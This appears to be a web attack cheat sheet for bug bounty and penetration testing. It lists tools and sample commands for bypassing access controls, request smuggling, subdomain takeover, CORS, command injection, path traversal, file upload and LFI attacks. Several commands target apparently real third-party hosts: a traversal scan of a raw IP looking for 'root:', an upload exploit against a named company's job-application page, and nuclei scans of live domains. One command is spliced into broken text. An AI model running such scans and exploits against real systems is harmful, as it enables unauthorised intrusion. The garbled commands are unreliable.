# #2 Web Attack: Cheat Sheet

&#x20;                                         **Table of Contents**

**Scanning**

* HTTP Request Smuggling
* Subdomain Takeover
* SQLi (SQL Injection)
* XSS
* Repositories Scanning
* Secret Scanning
* CORS Misconfigurations

**Attacking**

* Brute Force
* Exfiltration
* General

**Manual**

* Payloads
* Bypass
* Deserialization
* SSRF (Server-Side Request Forgery)
* DNS Rebinding
* SMTP Header Injection
* Web Shell
* Reverse Shell
* SQLi (SQL Injection)
* XSS
* XPath Injection
* LFI (Local File Inclusion)
* SSTI (Server Side Template Injection)
* Information Disclosure
* WebDAV (Web Distributed Authoring and Versioning)
* Generic Tools

**General**



[https://github.com/vavkamil/awesome-bugbounty-tools](https://github.com/vavkamil/awesome-bugbounty-tools)\
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master)\
[https://github.com/six2dez/pentest-book/tree/master](https://github.com/six2dez/pentest-book/tree/master)\
[https://github.com/MrW0l05zyn/pentesting/tree/master](https://github.com/MrW0l05zyn/pentesting/tree/master)\
[https://github.com/AlbusSec/Penetration-List/tree/main](https://github.com/AlbusSec/Penetration-List/tree/main)\
[https://github.com/carlospolop/hacktricks/tree/master](https://github.com/carlospolop/hacktricks/tree/master)\


\---------------------------------------------------------------------------------------

### &#x20;                                       1. Auto: Info Disclosure <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

{% embed url="https://portswigger.net/web-security/information-disclosure#what-is-information-disclosure" %}

[http://www.robotstxt.org/robotstxt.html](http://www.robotstxt.org/robotstxt.html)\
[https://github.com/jonasjacek/robots.txt/blob/master/robots.txt](https://github.com/jonasjacek/robots.txt/blob/master/robots.txt)\
[https://github.com/jonasjacek/robots.txt/blob/master/robots.min.txt](https://github.com/jonasjacek/robots.txt/blob/master/robots.min.txt)

* Error Messages: Detailed error messages can reveal sensitive information about the application's internals, like stack traces, file paths, and potentially even database queries.
* Directory Listing: If directory listing is enabled on the web server, it can expose the contents of directories, revealing sensitive files.
* Debugging Information: Debugging endpoints or verbose error messages left in production environments can disclose implementation details and vulnerabilities.
* Comments and Metadata: Sensitive information might be included in HTML comments, meta tags, or other non-rendered parts of web pages.
* Hidden Fields: Sensitive information may be stored in hidden form fields or JavaScript variables that can be easily accessed or manipulated.
* Backup Files: Backup files (e.g., filename.bak, filename\~) left in the web directory can contain sensitive information.
* Exposed APIs and Endpoints: Unprotected APIs or endpoints may reveal information, especially if they are not properly secured.
* Improperly Configured Security Headers: Missing or misconfigured security headers (e.g., Content Security Policy, X-Frame-Options) can lead to information leakage.
* Leaked Credentials and Tokens: Sensitive credentials or tokens may be exposed in source code, configuration files, or through improper handling.
* HTTP Headers: Some headers may inadvertently reveal server information, software versions, or backend technologies.
* Predictable Resource Locations: Predictable URLs or resource locations can lead to unauthorized access to sensitive files or information.
* API Response Data: Insecure API endpoints may return more data than necessary, potentially leaking sensitive information.

```
https://www.example.com/content/example/filename.pdf/.1.json
```

**NUCLEI: Automated**&#x20;

```
nuclei -t http/miscellaneous/robots-txt-endpoint.yaml -t http/miscellaneous/robots-txt.yaml -t http/miscellaneous/security-txt.yaml -t http/miscellaneous/sitemap-detect.yaml -u https://exodussec.com

robots-txt.yaml
waf-detect
http-headers.yaml 
http/miscellaneous/robots-txt-endpoint.yaml
http/miscellaneous/robots-txt.yaml
http/miscellaneous/security-txt.yaml
http/miscellaneous/sitemap-detect.yaml
http/vulnerabilities/bsphp-info.yaml 
```

**AUTO TOOLS: Go, Python**&#x20;



**EXPLOITS:**

```
150$
1. In-Depth Subd Enum.
2. cat allsubs.txt | httpx -mc 200 > working.txt
3. nmap -iL working.txt -p0-65535 -oN fullscan.txt
4. dirsearch -l nmap.txt -w <wordlist> -x <status codes> -r -e <extensions>
5. Found .txt file
```

\---------------------------------------------------------------------------------------

### &#x20;                                   2. Auto: 401-403 Bypass <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

{% embed url="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status" %}

**NUCLEI: Automated**&#x20;

```
```

**AUTO TOOLS: Go, Python**&#x20;

[https://blog.ryanjarv.sh/2022/03/16/bypassing-wafs-with-alternate-domain-routing.html](https://blog.ryanjarv.sh/2022/03/16/bypassing-wafs-with-alternate-domain-routing.html)\
\# <mark style="color:yellow;">**Bypassing CDN WAF’s**</mark> with Alternate Domain Routing

[https://bishopfox.com/blog/json-interoperability-vulnerabilities](https://bishopfox.com/blog/json-interoperability-vulnerabilities)\
\# The same JSON document can be parsed with different values across microservices, leading to a variety of potential security risks.

[https://github.com/filedescriptor/Unicode-Mapping-on-Domain-names](https://github.com/filedescriptor/Unicode-Mapping-on-Domain-names)\
\# Browsers support internetionalized domains, but some Unicode characters are converted into English letters and symbols. This may be useful to make very short domains or bypass SSRF protection.

[https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/](https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/)\
\# It’s hard to overstate the severity of this bug. If you are using ECDSA signatures for any of these security mechanisms, then an attacker can trivially and completely bypass them if your server is running any Java 15, 16, 17, or 18 version before the April 2022 Critical Patch Update (CPU). For context, almost all WebAuthn/FIDO devices in the real world (including Yubikeys) use ECDSA signatures and many OIDC providers use ECDSA-signed JWTs.

[https://h.43z.one/ipconverter/](https://h.43z.one/ipconverter/)\
\# Convert IP address to different formats for bypass.

[https://github.com/aufzayed/bugbounty/tree/main/403-bypass](https://github.com/aufzayed/bugbounty/tree/main/403-bypass)\
\# Common <mark style="color:yellow;">**403 bypass**</mark>.

[https://github.com/Dheerajmadhukar/4-ZERO-3/tree/main](https://github.com/Dheerajmadhukar/4-ZERO-3/tree/main)\
\# Found 401/403 pages send it to <mark style="color:yellow;">**4-ZERO-3**</mark>

```
git clone https://github.com/Dheerajmadhukar/4-ZERO-3 
cd 4-ZERO-3  
bash 403-bypass.sh -h
bash 403-bypass.sh -u https://target.com/secret --exploit
```

\---------------------------------------------------------------------------------------

### &#x20;                                          3. Auto: HTTP Headers <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

**NUCLEI:**

```
nuclei -t expliot/http-headers.yaml -u https://exodussec.com
nuclei -t expliot/http-headers.yaml -lists subs.txt

nuclei -t hthttp/vulnerabilities/generic/oob-param-based-interaction.yaml -u https://paypal.comtp/vulnerabilities/generic/host-header-injection.yaml -t http/vulnerabilities/generic/oob-header-based-interaction.yaml -t 

http/vulnerabilities/generic/host-header-injection.yaml
http/vulnerabilities/generic/oob-header-based-interaction.yaml
http/vulnerabilities/generic/oob-param-based-interaction.yaml

```

**AUTO TOOLS:**&#x20;

[https://github.com/mlcsec/headi](https://github.com/mlcsec/headi)\
\# Customisable and automated HTTP header injection. Example run from the HTB machine Control

```
┌──(kali㉿kali)-[~/go/bin]
└─$ headi -u https://example.com/robots.txt
```



&#x20;                                            **Content Security Policy (CSP) Header** \
https://securityheaders.com/

```
curl -I -s -L https://www.maxrodrigo.com | grep -iE 'Content-Security|CSP' 
```

Parameters&#x20;

* -I: Fetch the headers only.&#x20;
* -s: Quiet mode.&#x20;
* -L: Follow 3XX redirections.

#### --------------------------------------------------------------------------------------- <a href="#user-content-http-request-smuggling" id="user-content-http-request-smuggling"></a>

### &#x20;                                       4. Auto: HTTP Smuggling <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

**NUCLEI: Automated**&#x20;

```
```



**AUTO TOOLS: Go, Python**&#x20;

[https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)\
\# <mark style="color:yellow;">**An HTTP Request Smuggling**</mark> / Desync testing tool written in Python 3.

```
python3 smuggler.py -q -u https://example.com/
# Attacking through command line a HTTPS vulnerable service. Good for persistence when no one believes in you.
```

```
echo 'UE9TVCAvIEhUVFAvMS4xDQpIb3N0OiB5b3VyLWxhYi1pZC53ZWItc2VjdXJpdHktYWNhZGVteS5uZXQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNg0KVHJhbnNmZXItRW5jb2Rpbmc6IGNodW5rZWQNCg0KMA0KDQpH' | base64 -d | timeout 1 openssl s_client -quiet -connect your-lab-id.web-security-academy.net:443 &>/dev/null
```

[https://github.com/neex/http2smugl](https://github.com/neex/http2smugl)\
\# This tool helps to detect and exploit HTTP request smuggling in cases it can be achieved via HTTP/2 -> HTTP/1.1 conversion by the frontend server.

```
http2smugl detect https://example.com/
```

[https://github.com/BishopFox/h2csmuggler](https://github.com/BishopFox/h2csmuggler)\
\# <mark style="color:yellow;">**HTTP Request Smuggling over HTTP/2 Cleartext (h2c)**</mark>: h2cSmuggler smuggles HTTP traffic past insecure edge-server proxy\_pass configurations by establishing HTTP/2 cleartext (h2c) communications with h2c-compatible back-end servers, allowing a bypass of proxy rules and access controls.

```
h2csmuggler.py -x https://example.com/ --test
```

[https://github.com/0ang3el/websocket-smuggle](https://github.com/0ang3el/websocket-smuggle)\
\# Smuggling HTTP requests over fake WebSocket connection.

```
python3 smuggle.py -u https://example.com/
```

[https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)\
\# <mark style="color:yellow;">**HTTP Request Smuggling Detection Tool:**</mark> So the idea behind this security tool is to detect HRS vulnerability for a given host and the detection happens based on the time delay technique with the given permutes.

[https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)\
\# HTTP request smuggling is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users.

[https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)\
\# This is an extension for Burp Suite designed to help you launch HTTP Request Smuggling attacks, originally created during HTTP Desync Attacks research. It supports scanning for Request Smuggling vulnerabilities, and also aids exploitation by handling cumbersome offset-tweaking for you.

[https://medium.com/@ricardoiramar/the-powerful-http-request-smuggling-af208fafa142](https://medium.com/@ricardoiramar/the-powerful-http-request-smuggling-af208fafa142)\
\# This is how I was able to exploit a HTTP Request Smuggling in some Mobile Device Management (MDM) servers and send any MDM command to any device enrolled on them for a private bug bounty program.

[https://www.intruder.io/research/practical-http-header-smuggling](https://www.intruder.io/research/practical-http-header-smuggling)\
\# Modern web applications typically rely on chains of multiple servers, which forward HTTP requests to one another. The attack surface created by this forwarding is increasingly receiving more attention, including the recent popularisation of cache poisoning and request smuggling vulnerabilities. Much of this exploration, especially recent request smuggling research, has developed new ways to hide HTTP request headers from some servers in the chain while keeping them visible to others – a technique known as "header smuggling". This paper presents a new technique for identifying header smuggling and demonstrates how header smuggling can lead to cache poisoning, IP restriction bypasses, and request smuggling.

[https://docs.google.com/presentation/d/1DV-VYkoEsjFsePPCmzjeYjMxSbJ9PUH5EIN2ealhr5I/](https://docs.google.com/presentation/d/1DV-VYkoEsjFsePPCmzjeYjMxSbJ9PUH5EIN2ealhr5I/)\
\# Two Years Ago @albinowax Shown Us A New Technique To PWN Web Apps So Inspired By This Technique AND @defparam's Tool , I Have Been Collecting A Lot Of Mutations To Achieve Request Smuggling.

[https://github.com/GrrrDog/weird\_proxies](https://github.com/GrrrDog/weird_proxies)\
\# It's a cheat sheet about behaviour of various reverse proxies and related attacks.

[https://github.com/bahruzjabiyev/T-Reqs-HTTP-Fuzzer](https://github.com/bahruzjabiyev/T-Reqs-HTTP-Fuzzer)\
\# T-Reqs (Two Requests) is a grammar-based HTTP Fuzzer written as a part of the paper titled "T-Reqs: HTTP Request Smuggling with Differential Fuzzing" which was presented at ACM CCS 2021.

[https://github.com/BenjiTrapp/http-request-smuggling-lab](https://github.com/BenjiTrapp/http-request-smuggling-lab)\
\# Two HTTP request smuggling labs.

[https://infosec.zeyu2001.com/2022/http-request-smuggling-in-the-multiverse-of-parsing-flaws](https://infosec.zeyu2001.com/2022/http-request-smuggling-in-the-multiverse-of-parsing-flaws)\
\# Nowadays, novel HTTP request smuggling techniques rely on subtle deviations from the HTTP standard. Here, I discuss some of my recent findings and novel techniques.



* [tiscripts](https://github.com/defparam/tiscripts) - These scripts I use to create Request Smuggling Desync payloads for CLTE and TECL style attacks.



\---------------------------------------------------------------------------------------

### &#x20;                                   5. Auto: Subdomain Takeover <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

{% embed url="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/domain-subdomain-takeover.md" %}

{% embed url="https://search.censys.io/" %}

{% embed url="https://github.com/n0kovo/n0kovo_subdomains" %}

&#x20;                                                 **CNAME Records**

1. Domain name (sub.example.com) uses a CNAME record for another domain (sub.example.com CNAME anotherdomain.com).
2. At some point, anotherdomain.com expires and is available for anyone's registration.
3. Since the CNAME record is not removed from the DNS zone of example.com, anyone who records anotherdomain.com has full control over sub.example.com until the DNS record is present.
4. WaybackURLs of those Subdomains&#x20;

```
cat domains.txt | waybackurls > urls
```

**NUCLEI: Automated**&#x20;

```
```

**AUTO TOOLS: Go, Python**&#x20;

[https://github.com/EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)

\# Can I take over XYZ?" — a list of services and how to claim (sub)domains with dangling DNS records.

[https://github.com/punk-security/dnsReaper](https://github.com/punk-security/dnsReaper)\
\# \$$$ DNS Reaper is yet another sub-domain takeover tool, but with an emphasis on accuracy, speed and the number of signatures in our arsenal.

```
python3 main.py file --filename subdomains.txt
```

* [subjack](https://github.com/haccer/subjack) - Subdomain Takeover tool written in Go

```
subjack -w /root/subdomain.txt -a -v -t 100 -timeout 30 -o results.txt -ssl # Subdomains generated with subgen
```

* [SubOver](https://github.com/Ice3man543/SubOver) - A Powerful Subdomain Takeover Tool

```
SubOver -l /root/subdomains.txt -t 100 # Subdomains generated with subgen
```

* [autoSubTakeover](https://github.com/JordyZomer/autoSubTakeover) - A tool used to check if a CNAME resolves to the scope address. If the CNAME resolves to a non-scope address it might be worth checking out if subdomain takeover is possible.

```
pip install autosubtakeover
autosubtakeover --wordlist domains.txt
```

* [NSBrute](https://github.com/shivsahni/NSBrute) - Python utility to takeover domains vulnerable to AWS NS Takeover
* [cnames](https://github.com/cybercdh/cnames) - take a list of resolved subdomains and output any corresponding CNAMES en masse.
* [subHijack](https://github.com/vavkamil/old-repos-backup/tree/master/subHijack-master) - Hijacking forgotten & misconfigured subdomains
* [tko-subs](https://github.com/anshumanbh/tko-subs) - A tool that can help detect and takeover subdomains with dead DNS records
* [HostileSubBruteforcer](https://github.com/nahamsec/HostileSubBruteforcer) - This app will bruteforce for exisiting subdomains and provide information if the 3rd party host has been properly setup.
* [second-order](https://github.com/mhmdiaa/second-order) - Second-order subdomain takeover scanner
* [takeover](https://github.com/mzfr/takeover) - A tool for testing subdomain takeover possibilities at a mass scale.

Best resources: \
https://0xpatrik.com/takeover-proofs/ \
https://blog.initd.sh/others-attacks/mis-configuration/subdomain-takeover-explained/

Subzy \
https://github.com/LukaSikic/subzy \
subzy -targets list.txt subzy -concurrency 100 -hide\_fails -targets subs.txt

subdomain-takeover \
https://github.com/antichown/subdomain-takeover \
python takeover.py -d domain.com -w /root/Repos/SecLists/Discovery/DNS/clean-jhaddix-dns.txt -t 100

subgen (subdomain list generator) \
https://github.com/pry0cc/subgen \
go get -u github.com/pry0cc/subgen cat wordlist.txt | subgen -d "uber.com" cat /home/user/Escritorio/tools/SecLists/Discovery/DNS/clean-jhaddix-dns.txt | subgen -d domain.com | massdns -r /usr/share/wordlists/dns.txt -t A -o S -w results.txt Check for results.txt



\---------------------------------------------------------------------------------------

### &#x20;                                               6. Auto: CORS  <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration" %}

{% embed url="https://github.com/six2dez/pentest-book/blob/master/enumeration/web/cors.md" %}

{% embed url="https://portswigger.net/web-security/cors" %}

{% embed url="https://portswigger.net/web-security/cors/same-origin-policy" %}

CORS is a controlled relaxation of the same-origin policy



**PAYLOADS:**&#x20;

```
https://github.com/MrW0l05zyn/pentesting/tree/master/web/payloads/cors
https://github.com/AlbusSec/Penetration-List/tree/main/11_CORS_Misconfiguration_Vulnerability_Material
```

**NUCLEI:**\
[https://templates.nuclei.sh/public/cors-misconfig](https://templates.nuclei.sh/public/cors-misconfig)

```
$ nuclei -t expliot/cors.yaml -u https://exodussec.com
$ nuclei -t expliot/cors.yaml -u https://0adc00f00407bdf280222183003d00d5.web-security-academy.net/

$ cd .config
$ cd subfinder
$ nuclei -t expliot/cors.yaml -lists subs.txt

http/vulnerabilities/generic/cors-misconfig.yaml
```

**AUTO TOOLS:**&#x20;

[https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)\
\# **Corsy** is a lightweight program that scans for all known misconfigurations in CORS implementations.

```
python3 corsy.py -u https://example.com
```

[https://github.com/chenjj/CORScanner\
](https://github.com/chenjj/CORScanner)#

```
python cors_scan.py -u example.com 
```

\---------------------------------------------------------------------------------------

### &#x20;                                 7. Auto: OS Command Injection <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

{% embed url="https://portswigger.net/web-security/os-command-injection#how-to-prevent-os-command-injection-attacks" %}

OS Command Injection is a severe web application vulnerability that arises when an application allows users to execute operating system commands on the server. Web application vulnerabilities that can arise from OS Command Injection:

1. Remote Code Execution (RCE): Command injection can sometimes be used to execute code remotely, allowing the attacker to control the server.
2. Shellshock Vulnerabilities: Shellshock is a specific vulnerability that arises from improper handling of environment variables in bash scripts.
3. Privilege Escalation: In some cases, successful command injection can lead to the escalation of privileges, granting the attacker elevated access levels.

**NUCLEI: Automated**&#x20;

```
```

**AUTO TOOLS: Go, Python**&#x20;

[https://github.com/commixproject/commix](https://github.com/commixproject/commix)\
\# Automated All-in-One OS command injection and exploitation tool. By using this tool, it is very easy to find and exploit a <mark style="color:yellow;">**command injection vulnerability**</mark> in a certain vulnerable parameter or HTTP header.

```
python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=127.0.0.1&Submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"
```

\----------------------------------------------------------------------------------------

### &#x20;                                  8. Auto: Open Redirection <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect" %}

{% embed url="https://github.com/six2dez/pentest-book/blob/master/enumeration/web/open-redirect.md" %}

{% embed url="https://github.com/daffainfo/AllAboutBugBounty/blob/master/Open%20Redirect.md" %}

An open redirect vulnerability occurs when a web application or server uses unvalidated, user-supplied input to redirect users to other sites. This can allow an attacker to craft a link to the vulnerable site which redirects to a malicious site of their choosing. Attackers can leverage this vulnerability in phishing campaigns, session theft, or forcing a user to perform an action without their consent.

**PAYLOADS:**\
[**https://github.com/AlbusSec/Penetration-List/blob/main/03\_Open\_Redirection\_Vulnerability\_Material/Open-Redirection-Payloads.txt**\
**https://github.com/AlbusSec/Penetration-List/blob/main/03\_Open\_Redirection\_Vulnerability\_Material/Open-Redirection-to-XSS-Payload.txt**](https://github.com/AlbusSec/Penetration-List/blob/main/03_Open_Redirection_Vulnerability_Material/Open-Redirection-Payloads.txthttps://github.com/AlbusSec/Penetration-List/blob/main/03_Open_Redirection_Vulnerability_Material/Open-Redirection-to-XSS-Payload.txt)\


**NUCLEI:**

```
nuclei -t expliot/open-redirect.yaml -u https://0ab900a5041b75288091a8d7008d0075.web-security-academy.net/
```

**AUTO TOOLS:**&#x20;

* [Oralyzer](https://github.com/r0075h3ll/Oralyzer) - Open Redirection Analyzer
* [Injectus](https://github.com/BountyStrike/Injectus) - CRLF and open redirect fuzzer
* [dom-red](https://github.com/Naategh/dom-red) - Small script to check a list of domains against open redirect vulnerability
* [OpenRedireX](https://github.com/devanshbatham/OpenRedireX) - A Fuzzer for OpenRedirect issues

\----------------------------------------------------------------------------------------

### &#x20;                                      9. Auto: Path Traversal <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

{% embed url="https://portswigger.net/web-security/file-path-traversal#how-to-prevent-a-path-traversal-attack" %}

Path traversal, also known as directory traversal or directory climbing, is a vulnerability that allows an attacker to access files and directories outside of the web root directory. This can lead to unauthorized access to sensitive files, including configuration files, databases, and even executable scripts.&#x20;

1. LFI: f a web application allows user-supplied input to control file inclusion, it might be vulnerable to path traversal attacks.
2. RCE: In some cases, path traversal can lead to remote code execution if the attacker can include and execute arbitrary files.
3. Bypassing Security Measures: Path traversal can potentially allow an attacker to bypass security measures, such as authentication and authorization mechanisms.
4. Database Access: If database configuration files or credentials are stored within the web server's directory structure, an attacker might be able to access and compromise the database.

**NUCLEI:**

```
http/vulnerabilities/finereport/finereport-path-traversal.yaml
http/vulnerabilities/other/elFinder-path-traversal.yaml
http/vulnerabilities/other/carel-bacnet-gateway-traversal.yaml
http/vulnerabilities/other/flir-path-traversal.yaml
http/vulnerabilities/other/digitalrebar-traversal.yaml
http/vulnerabilities/other/kingdee-eas-directory-traversal.yaml
http/vulnerabilities/other/natshell-path-traversal.yaml
http/vulnerabilities/other/nginx-merge-slashes-path-traversal.yaml
http/vulnerabilities/other/pmb-directory-traversal.yaml
```

**AUTO TOOLS:**&#x20;

[**https://github.com/wireghoul/dotdotpwn**](https://github.com/wireghoul/dotdotpwn)

```
sudo ./dotdotpwn.pl -m http-url -u http://3.64.231.190:80/fileadmin=TRAVERSAL -o "unix" -k "root:" -r webmin.txt
```

* [FDsploit](https://github.com/chrispetrou/FDsploit) - File Inclusion & Directory Traversal fuzzing, enumeration & exploitation tool.
* [off-by-slash](https://github.com/bayotop/off-by-slash) - Burp extension to detect alias traversal via NGINX misconfiguration at scale.
* [liffier](https://github.com/momenbasel/liffier) - tired of manually add dot-dot-slash to your possible path traversal? this short snippet will increment ../ on the URL.



\----------------------------------------------------------------------------------------

### &#x20;                                         10. Auto: File Upload <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

{% embed url="https://portswigger.net/web-security/file-upload#what-are-file-upload-vulnerabilities" %}

File upload functionality in web applications can introduce several vulnerabilities if not implemented securely. Here are some common web application vulnerabilities associated with file uploads:

1. Remote Code Execution (RCE): In some cases, insecure file uploads can lead to remote code execution if the uploaded files are executed by the server.
2. Cross-Site Scripting (XSS): If the application serves user-uploaded files without proper sanitization, it could lead to XSS attacks.
3. XML External Entity (XXE) Attacks: If the application processes XML files, a malicious XML file upload might lead to XXE vulnerabilities.
4. Insecure Direct Object References (IDOR): If the application does not properly validate file access permissions, an attacker might be able to access or overwrite files belonging to other users.

**NUCLEI: Automated**&#x20;

```
```

**AUTO TOOLS: Go, Python**&#x20;

[**https://github.com/almandin/fuxploider**](https://github.com/almandin/fuxploider)

1. find file upload page https://www.rampf-group.com/en/career/job-offers/ https://recruitingapp-5317.de.umantis.com/Vacancies/781/Application/New/1
2. test incorrect file for error message Der Upload war nicht erfolgreich! Die Datei entspricht nicht den Upload-Kriterien.
3. Add cookies: --cookies @ Inspect - Storage

```
python3 fuxploider.py --url https://recruitingapp-5317.de.umantis.com/Vacancies/782/Application/New/1 --not-regex "Der Upload war nicht erfolgreich! Die Datei entspricht nicht den Upload-Kriterien."
```



\----------------------------------------------------------------------------------------

### &#x20;                                              11. Auto: LFI / RFI <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion)\
[https://github.com/six2dez/pentest-book/blob/master/enumeration/web/lfi-rfi.md](https://github.com/six2dez/pentest-book/blob/master/enumeration/web/lfi-rfi.md)\
[https://github.com/MrW0l05zyn/pentesting/tree/master/web/payloads/lfi-rfi](https://github.com/MrW0l05zyn/pentesting/tree/master/web/payloads/lfi-rfi)\
[https://github.com/AlbusSec/Penetration-List/tree/main/04\_File\_Inclusion\_Vulnerability\_Material](https://github.com/AlbusSec/Penetration-List/tree/main/04_File_Inclusion_Vulnerability_Material)

**NUCLEI:**

```
nuclei -t expliot/lfi-linux.yaml -u https://example.com/
http/vulnerabilities/generic/generic-windows-lfi.yaml
http/vulnerabilities/generic/generic-linux-lfi.yaml
```

**AUTO TOOLS:**&#x20;

* POSSIBLE PARAMATERS: [https://github.com/AlbusSec/Penetration-List/blob/main/04\_File\_Inclusion\_Vulnerability\_Material/LFI-Possible-Parameters.txt  \
  ](https://github.com/AlbusSec/Penetration-List/blob/main/04_File_Inclusion_Vulnerability_Material/LFI-Possible-Parameters.txt)
* LFI WINDOWS: [https://github.com/AlbusSec/Penetration-List/blob/main/04\_File\_Inclusion\_Vulnerability\_Material/Advanced-LFI-Linux\_Or\_Window-Payloads.txt  \
  ](https://github.com/AlbusSec/Penetration-List/blob/main/04_File_Inclusion_Vulnerability_Material/Advanced-LFI-Linux_Or_Window-Payloads.txt)
* LFI LINUX: [https://github.com/AlbusSec/Penetration-List/blob/main/04\_File\_Inclusion\_Vulnerability\_Material/Basic-LFI-Linux-Payloads.txt  \
  ](https://github.com/AlbusSec/Penetration-List/blob/main/04_File_Inclusion_Vulnerability_Material/Basic-LFI-Linux-Payloads.txt)
* RFI: [https://github.com/AlbusSec/Penetration-List/blob/main/04\_File\_Inclusion\_Vulnerability\_Material/RFI-Payloads.txt](https://github.com/AlbusSec/Penetration-List/blob/main/04_File_Inclusion_Vulnerability_Material/RFI-Payloads.txt)\
  [https://github.com/AlbusSec/Penetration-List/blob/main/04\_File\_Inclusion\_Vulnerability\_Material/RFI-Possible-Parameters.txt](https://github.com/AlbusSec/Penetration-List/blob/main/04_File_Inclusion_Vulnerability_Material/RFI-Possible-Parameters.txt)[  ](https://github.com/AlbusSec/Penetration-List/blob/main/04_File_Inclusion_Vulnerability_Material/RFI-Possible-Parameters.txt)
* [liffy](https://github.com/mzfr/liffy) - Local file inclusion exploitation tool
* [Burp-LFI-tests](https://github.com/Team-Firebugs/Burp-LFI-tests) - Fuzzing for LFI using Burpsuite
* [LFI-Enum](https://github.com/mthbernardes/LFI-Enum) - Scripts to execute enumeration via LFI
* [LFISuite](https://github.com/D35m0nd142/LFISuite) - Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner
* [LFI-files](https://github.com/hussein98d/LFI-files) - Wordlist to bruteforce for LFI

\----------------------------------------------------------------------------------------

### &#x20;                                      12.  Auto: Race Conditions <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

**NUCLEI: Automated** \
[**https://blog.projectdiscovery.io/exploiting-race-conditons/**](https://blog.projectdiscovery.io/exploiting-race-conditons/)

```yaml
id: race-condition-testing

info:
  name: Race condition testing
  author: pdteam
  severity: info

requests:
  - raw:
      - |
        POST /coupons HTTP/1.1
        Host: {{Hostname}}
        Pragma: no-cache
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

        promo_code=20OFF        

    race: true
    race_count: 10

    matchers:
      - type: status
        part: header
        status:
          - 200
```

**AUTO TOOLS: Go, Python**&#x20;

* [razzer](https://github.com/compsec-snu/razzer) - A Kernel fuzzer focusing on race bugs
* [racepwn](https://github.com/racepwn/racepwn) - Race Condition framework
* [requests-racer](https://github.com/nccgroup/requests-racer) - Small Python library that makes it easy to exploit race conditions in web apps with Requests.
* [turbo-intruder](https://github.com/PortSwigger/turbo-intruder) - Turbo Intruder is a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.
* [race-the-web](https://github.com/TheHackerDev/race-the-web) - Tests for race conditions in web applications. Includes a RESTful API to integrate into a continuous integration pipeline.

\----------------------------------------------------------------------------------------

### &#x20;                                           13. Auto: GraphQL <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

GraphQL injection is a type of vulnerability that occurs when a GraphQL query is manipulated to exploit a web application's API.&#x20;

1. **Remote Code Execution (RCE)**
2. Authentication Bypass
3. Information Disclosure

**NUCLEI:**\
[https://templates.nuclei.sh/public/graphql-detect](https://templates.nuclei.sh/public/graphql-detect)\
\# Nuclei is a <mark style="color:yellow;">**fast scanner**</mark> used to scan across the modern applications, infrastructure, cloud environments, and networks to help you find and remediate vulnerabilities.

```
http/misconfiguration/graphql/graphql-alias-batching.yaml
http/misconfiguration/graphql/graphql-array-batching.yaml
http/misconfiguration/graphql/graphql-field-suggestion.yaml
http/misconfiguration/graphql/graphql-get-method.yaml
http/misconfiguration/graphql/graphql-playground.yaml
http/vulnerabilities/other/hasura-graphql-ssrf.yaml
http/vulnerabilities/other/hasura-graphql-psql-exec.yaml
```

**AUTO TOOLS:**&#x20;

[https://github.com/graphql-kit/graphql-voyager](https://github.com/graphql-kit/graphql-voyager)\
\# Represent any GraphQL API as an interactive graph.

[https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance)\
\# Obtain <mark style="color:yellow;">**GraphQL API schema**</mark> even if the introspection is disabled.&#x20;

```
clairvoyance https://www.example.com/graphql -o schema.json
```

[https://github.com/assetnote/batchql](https://github.com/assetnote/batchql)\
\# BatchQL is a GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations.

[https://github.com/doyensec/graph-ql](https://github.com/doyensec/graph-ql)\
\# A security testing tool to facilitate GraphQL technology security auditing efforts.

[https://hackernoon.com/understanding-graphql-part-1-nxm3uv9](https://hackernoon.com/understanding-graphql-part-1-nxm3uv9)\
\# Understanding GraphQL

[https://graphql.org/learn/introspection/](https://graphql.org/learn/introspection/)\
\# It's often useful to ask a GraphQL schema for information about what queries it supports. GraphQL allows us to do so using the introspection system!

[https://jondow.eu/practical-graphql-attack-vectors/](https://jondow.eu/practical-graphql-attack-vectors/)\
\# Practical GraphQL attack vectors

